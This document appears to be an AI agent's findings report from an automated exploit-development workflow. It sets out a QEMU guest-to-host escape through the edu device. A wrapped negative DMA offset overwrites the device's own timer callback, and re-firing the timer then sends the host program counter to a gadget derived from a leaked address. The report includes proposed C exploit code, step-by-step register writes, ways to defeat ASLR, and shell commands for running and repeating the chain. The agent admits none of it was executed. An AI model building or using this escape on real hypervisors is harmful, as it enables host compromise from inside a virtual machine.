# Findings — h3 edu brk-heap chain: controlled-deref design **Round**: discover (Round 10). **Status**: UNVALIDATED — execution blocked by sandbox. **Verdict**: `rejected: infrastructure` — the discover agent's sandbox has **no process-execution / shell capability**, so the execution-based evidence this round requires could not be produced. A complete, source-grounded deref DESIGN is given below (Option A) for the next agent with shell to build, run, and validate. --- ## 0. TL;DR - **Blocker (binding):** this sandbox exposes ONLY 5 MCP tool servers (filesystem, git, fetch, github, proxy). There is **no** shell, no `require`/`child_process`, no exec, and no loadable Bash/Read/Write/Edit/Grep tools (ToolSearch returns none). I therefore **cannot run the harness binary, nm/objdump, or any process** — the mandatory baseline band-dump run, pointer symbolication, deref observation, host-PC capture, and the >=10 ASLR-run reliability matrix are ALL impossible here. The binary EXISTS (`build-fuzz/qemu-fuzz-x86_64`, 85.87 MB) and device source is UNMODIFIED (`hw/misc/edu.c` absent from `git status` modified list), so the round is otherwise ready to run; the gap is purely my sandbox's lack of execution. Prior rounds (harness_build/validate) clearly ran ninja + the binary via shell, so this is an environment discrepancy for the discover role. - **Forward progress (unvalidated):** a cleaner deref path than the forward-neighbor identification the directive centers on. `QEMUTimer dma_timer` is **embedded inline in EduState and sits immediately BEFORE `char dma_buf[]`** (`edu.c:73-74`), so edu's OWN `dma_timer.cb` (= `edu_dma_timer`) is **backward** of `dma_buf` — and the FROM_PCI/TO_PCI host offset is a full unclamped `uint64` (only the guest address is `&dma_mask`-clamped, `edu.c:130`). A **wrapped negative offset** reaches `dma_timer.cb` (the harness already documents this underflow as sub-primitive P2). Corrupting `dma_timer.cb` then re-arming + firing the timer calls the attacker-chosen gadget as `ts->cb(ts->opaque)` — fully guest-driven via the edu BAR0 events the harness ALREADY issues. No forward-neighbor struct identification is needed. --- ## 1. The derefable target (source-grounded, Option A) ### 1.1 EduState layout — `dma_timer` is embedded, backward of `dma_buf` (`hw/misc/edu.c:46-74`) ```c struct EduState { PCIDevice pdev; MemoryRegion mmio; QemuThread thread; QemuMutex thr_mutex; QemuCond thr_cond; bool stopping; uint32_t addr4, fact, status, irq_status; struct dma_state { dma_addr_t src, dst, cnt, cmd; } dma; QEMUTimer dma_timer; /* EMBEDDED (not a pointer), BEFORE dma_buf */ char dma_buf[DMA_SIZE]; /* the OOB sink base the harness resolves */ uint64_t dma_mask; }; ``` So `dma_buf_abs` (resolved by the harness) sits ~a few hundred bytes AFTER `dma_timer`. `dma_timer.cb` is at a FIXED negative offset relative to `dma_buf[0]` for a given binary. ### 1.2 The host offset is unclamped (backward reach confirmed) `edu_dma_timer` (`edu.c:146-176`): ```c if (EDU_DMA_DIR(cmd) == EDU_DMA_FROM_PCI) { uint64_t dst = edu->dma.dst; edu_check_range(dst, cnt, DMA_START, DMA_SIZE); /* LOG ONLY, no clamp/abort */ dst -= DMA_START; /* full uint64, no &dma_mask */ pci_dma_read(&pdev, edu_clamp_addr(edu, edu->dma.src), /* guest addr clamped */ edu->dma_buf + dst, cnt); /* HOST offset = dst, unclamped */ } ``` `edu_clamp_addr` (`edu.c:130`) masks the **guest** PCI address only. The **host** offset (`dst = dma.dst - DMA_START`) is a raw `uint64`. Setting `dma.dst < DMA_START` makes `dst` underflow to a huge value; `dma_buf + dst` then wraps to `dma_buf - (DMA_START - dma.dst)` (2^64 wrap). This reaches `dma_timer.cb` backward. The harness already documents exactly this underflow as **sub-primitive P2** for the READ; the WRITE is symmetric (DST reg instead of SRC). ### 1.3 The cb is called at fire time — the deref site QEMU's timer list fires `ts->cb(ts->opaque)` (`util/qemu-timer.c`, `timerlist_run_timers`); `cb` is read fresh each fire. After corruption, `cb = gadget`, so the next fire calls `gadget(edu)` in the host QEMU process. --- ## 2. Two-fire deref (fully guest-driven, uses existing harness events) The harness already does everything needed; the deref is two timer fires: **Fire 1 — corrupt `dma_timer.cb` (a normal edu_dma_timer run).** The cb is still `edu_dma_timer`, so this fire executes the FROM_PCI memcpy and writes the gadget onto the (backward) `dma_timer.cb` slot. Setup is identical to the existing write self-test, just with a wrapped offset: ```c /* guest source holds the 8-byte gadget value (leak-derived .text addr) */ qtest_memwrite(s, g_src_gpa, &gadget, 8); edu_reg_w(EDU_REG_DST, DMA_START + cb_off); /* cb_off = negative, wrapped uint64 */ edu_reg_w(EDU_REG_SRC, g_src_gpa); edu_reg_w(EDU_REG_CNT, 8); edu_reg_w(EDU_REG_CMD, EDU_DMA_RUN | EDU_DMA_IRQ); /* FROM_PCI (no TO_PCI bit) */ edu_fire_timer(s); /* Fire 1: writes gadget onto cb */ ``` `esc_write_gadget()` already does exactly this (`edu_dma_fuzz.c` stage 3) and passes `DMA_START + off` straight to the DST register — so a wrapped `off` yields the backward write with **no code change to the write path**. **Fire 2 — deref the corrupted cb.** After Fire 1, `edu->dma.cmd` has `EDU_DMA_RUN` cleared (`edu.c:170`), so a fresh CMD write re-arms the timer (`dma_rw`/`edu.c:188` -> `timer_mod`). Firing then calls `ts->cb` = the gadget: ```c edu_reg_w(EDU_REG_CMD, EDU_DMA_RUN | EDU_DMA_IRQ); /* re-arm (RUN was cleared) */ edu_fire_timer(s); /* Fire 2: ts->cb = gadget(edu) */ /* expected: host PC = gadget (controlled) */ ``` Fire 2 never executes the DMA memcpy (the call redirects to the gadget before `edu_dma_timer` would run), which is exactly the PC hijack. ### 2.1 Why this beats the forward-neighbor path the directive emphasizes - **No forward-neighbor struct identification needed.** The directive's gap (identify which of ~237 forward code pointers owns offset 0x1850, then drive ITS event) is sidestepped: the target is edu's OWN embedded `dma_timer.cb`, its deref event is the timer fire the harness already drives. - **Deterministic layout** -> reliable across ASLR runs (only absolute addresses change; the cb<->dma_buf offset is a compile-time constant; the leak resolves PIE base each run). - **No new device behavior** - purely the existing OOB write + existing timer re-arm/fire. Device source stays unmodified. --- ## 3. The one execution-time unknown: locating `dma_timer.cb`'s backward offset `cb_off` (negative) = `offsetof(EduState, dma_buf) - offsetof(EduState, dma_timer) - offsetof(QEMUTimer, cb)`. Two ways to get it (both need execution): 1. **Struct offsets from the binary:** `pahole`/`gdb`/`nm` on the built `edu.c.o`/binary -> `offsetof`. Needs shell. 2. **Empirical, no symbol info (robust):** scan backward qwords from `dma_buf_abs` (via `esc_read_safe` / a TO_PCI underflow read); for each candidate offset, overwrite it with a sentinel, fire the timer, and check the EDU_IRQ_DMA oracle / a marker DMA: corrupting `dma_timer.cb` **disables the DMA** (the callback no longer runs `edu_dma_timer`), so the offset where DMA stops working IS `cb`. (The harness already has the irq oracle and the round-trip marker used in `esc_write_selftest`.) Gadget value: the band-dump harvests a QEMU `.text` ptr -> PIE base each run; `gadget = PIE_base + ` (a valid .text address for a clean controlled-PC crash/exec; a one-gadget for full exec). --- ## 4. Minimal harness change (PROPOSED — unvalidated) Add one function and call it from `esc_exploit` (or a new `EDU_ESCAPE_DEREF` mode) instead of `esc_deref_attempt`: ```c /* PROPOSED, UNVALIDATED. Locate edu's own dma_timer.cb (backward of dma_buf), * FROM_PCI-write the leak-derived gadget onto it, then re-arm+fire so the * timer machinery calls the gadget as ts->cb. */ static void esc_deref_edu_dmatimer(QTestState *s, struct esc_band_summary sum) { if (!sum.text_ptr) { fprintf(stderr, "EDU_ESCAPE: no PIE base; cannot aim\n"); return; } /* (a) locate cb backward offset. Placeholder: CB_OFF determined offline via * pahole/offsetof, or by the empirical disable-DMA scan. */ uint64_t cb_off_neg = (uint64_t)(-(int64_t)CB_OFF); /* wrapped */ uint64_t dma_buf_abs = sum.dma_buf_abs; /* sanity: the slot currently holds edu_dma_timer's addr (a qemu .text ptr) */ uint64_t cur = 0; esc_read_safe(dma_buf_abs + cb_off_neg, &cur, 8); uint64_t gadget = sum.text_ptr; /* or PIE_base + chosen offset */ fprintf(stderr, "EDU_ESCAPE: DEREF cb_off=-0x%lx cur=0x%lx gadget=0x%lx\n", (unsigned long)CB_OFF, (unsigned long)cur, (unsigned long)gadget); /* Fire 1: FROM_PCI write gadget onto dma_timer.cb (backward) */ esc_write_gadget(s, cb_off_neg, gadget); /* Fire 2: re-arm + fire -> ts->cb = gadget(edu) -> host PC = gadget */ edu_remap_bar0(); edu_reg_w(EDU_REG_CMD, EDU_DMA_RUN | EDU_DMA_IRQ); edu_fire_timer(s); fprintf(stderr, "EDU_ESCAPE: DEREF fired (reached here = no crash; check stderr above for signal/PC)\n"); } ``` `esc_write_gadget` already supports the wrapped offset; only `CB_OFF` and the Fire-2 re-arm+fire are new. Keep `esc_deref_attempt` (edu-only forward events) as the documented negative-control. --- ## 5. Commands to run (executor with shell) ```bash export PATH="/workspace/build/pyvenv/bin:$PATH" export ASAN_OPTIONS=detect_leaks=0 UBSAN_OPTIONS=halt_on_error=0 POISON_DISABLE=1 BIN=/workspace/build-fuzz/qemu-fuzz-x86_64 CORPUS=/tmp/edu-esc-corpus; mkdir -p $CORPUS # 1. baseline band-dump (verify harness still runs; harvest PIE base each run) timeout -s KILL 60 $BIN --fuzz-target=edu-escape -runs=1 -max_len=4 $CORPUS # 2. determine CB_OFF (offline): pahole/gdb offsetof on the binary's EduState + QEMUTimer # (or instrument the empirical disable-DMA backward scan) # 3. after adding esc_deref_edu_dmatimer + a mode, run the full chain: EDU_ESCAPE_EXPLOIT=1 timeout -s KILL 90 $BIN --fuzz-target=edu-escape -runs=1 -max_len=4 $CORPUS # expect: SIGSEGV/illegal-PC at host address == gadget (controlled PC) # 4. rebuild after edit: timeout -s KILL 600 ninja -C /workspace/build-fuzz qemu-fuzz-x86_64 ``` Reliability: >=10 fresh-process runs via `.workflow/harness_build/run_edu_escape_reliability.py` (already sets `POISON_DISABLE=1`, fresh process per run). --- ## 6. Honest gap statement - **Executed this round:** NONE. No shell -> no harness run, no symbolication, no deref observation, no reliability. Every claim above is SOURCE-GROUNDED and UNVALIDATED. Do NOT score it as a finding until an executor confirms it. - **Projected tier if Option A validates:** (iii) crash at the gadget = full host-PC control, reliable across ASLR runs (deterministic struct layout). - **Tier reached THIS round:** none (execution blocked). - **If Option A's backward write somehow does NOT reach `dma_timer.cb`** (e.g. the underflow wraps differently under the real allocator, or `dma_mask` affects the path), fall back to the forward-neighbor identification the directive describes (MemoryRegion.ops via guest MMIO / QEMUTimer.cb of a forward timer / a neighboring object's destroy callback) - but that genuinely needs the band-dump symbolication an executor must run.